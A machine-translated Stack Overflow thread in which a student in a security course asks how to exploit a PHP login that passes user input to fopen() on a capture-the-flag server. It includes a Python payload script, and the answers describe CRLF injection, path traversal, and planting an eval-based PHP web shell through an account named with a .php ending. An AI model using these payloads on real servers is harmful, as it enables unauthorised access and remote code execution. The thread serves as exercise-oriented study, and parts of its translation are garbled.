在php的fopen

时间:2017-01-19 00:38:54

标签: php fopen exploit

我正在接受一个网络安全类,对于一项任务,我们必须利用一个特定的php文件,并获得对它所托管的服务器的某种访问权限。我可以使用$email设置我自己的password和$ $_POST个变量。我相信我能利用的唯一代码就是这个。

$email = $_POST['email']
$password = $_POST['password']
....    
$accountfile = "./acounts/" . $email

if(!file_exists($accountfile)){
  diefooter("unknown email address or password")
}
$fh = fopen($accountfile, "r")
if(!$fh){
  diefooter("Cannot open file $accountfile.");
}
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);

if(strcmp($pass,$password)!=0){
  diefooter("wrong email or password.")
}

我知道fopen()函数中内置了漏洞,我可以使用正确的输入访问shell。

filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php"
shellKode = "exploit@gmail.com\0;echo shell_exec("+'"cat '+filePath+'");'
# payload = {'email':shellKode, 'password':'test'}
testPayload = {'email':'exploit@gmail.com','password':'a'}
r = requests.post(url, data = testPayload)
print(r.text)

我可以在系统中输入电子邮件,但在保存之前会验证格式。在这一点上,我有点失落,不知道我还能做些什么。 fopen()是我认为可以被利用的文件中的唯一功能,我无法想到可能利用漏洞的其他地方。

2 个答案:

答案 0 :(得分:5)

我认为他们指的是CRLF漏洞。

在您的示例漏洞利用代码中,您传递了一些PHP代码,但这不是您要做的。

目标是让fopen从互联网上打开文件。如果$email变量包含由CRLF分隔的两个字符串,则可以fopen()访问那里不应该访问的外部网站。

所有这些都取决于之后$fh文件描述符发生的情况,它将决定您将如何利用它。

以下是我在该漏洞上发现的链接:http://www.securiteam.com/unixfocus/5OP0C0A8AC.html

发布更多代码后编辑

我们首先要强制$password强制使用您想要的值。

因此,游戏名称强制$pass为您想要的值,以便strcmp返回true,并且您在不知道任何密码的情况下登录。

$pass在最后一个语句$pass = fgets($fh)

中受到控制

如果您使用CRLF漏洞指向fopen以打开您托管的网址,例如http://your.ip.address/your-file,在该文件中,您设置的数据与$password中设置的数据相同。这应该允许您登录而无需注册。

但代码中有一些奇怪的东西,例如:

$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);

似乎代码可能不完整,因为此处$last$first$pass的值始终都是相同的,这是没有意义的。这将是一个需要考虑的因素。

可能性#2 - 文件遍历

../变量中使用$email,您将能够访问位于fopen文件夹之外的acounts/中的其他文件。

如果你跑:

<?php
$fh = fopen("acounts/../../test.sh","r");
?>

它成功评估并查找test.sh内容的两个文件夹。因此,您可以通过$email变量探测文件系统的内容。然后游戏的名称是找到一个你知道其内容的标准文件,在$password中提供它,你就可以在没有注册的情况下登录系统。

可能性#3 - 注册以.php结尾的电子邮件地址

如drew010所述,假设您被允许注册自定义帐户,则通过在$email中注册.php结尾,并将eval() php代码放入$password注册帐户时,会在acounts/内创建一个后门文件,以$email命名,您可以通过网络访问该文件。

答案 1 :(得分:3)

由于它打开以存储用户数据的文件被引用为$accountfile = "./acounts/" . $email,因此一个可能的攻击媒介似乎是尝试使用something@domain.php等电子邮件地址注册帐户(或仅username.php 1}}取决于是否有适当的验证。

由于它将您的密码写入(可能是没有发生?)该文件,您可以将密码设置为恶意(例如<?php eval($_REQUEST['x'] ?>)。

然后,看看您是否可以访问http://thesite/accounts/something@domain.php?x=echo 'hi';并查看是否打印出“hi”。

如果是这种情况,那么请与$_REQUEST['x']玩得开心,让它做一些事情,比如将任意文件写入系统(webshel​​l)或打开并阅读其他文件并打印其内容。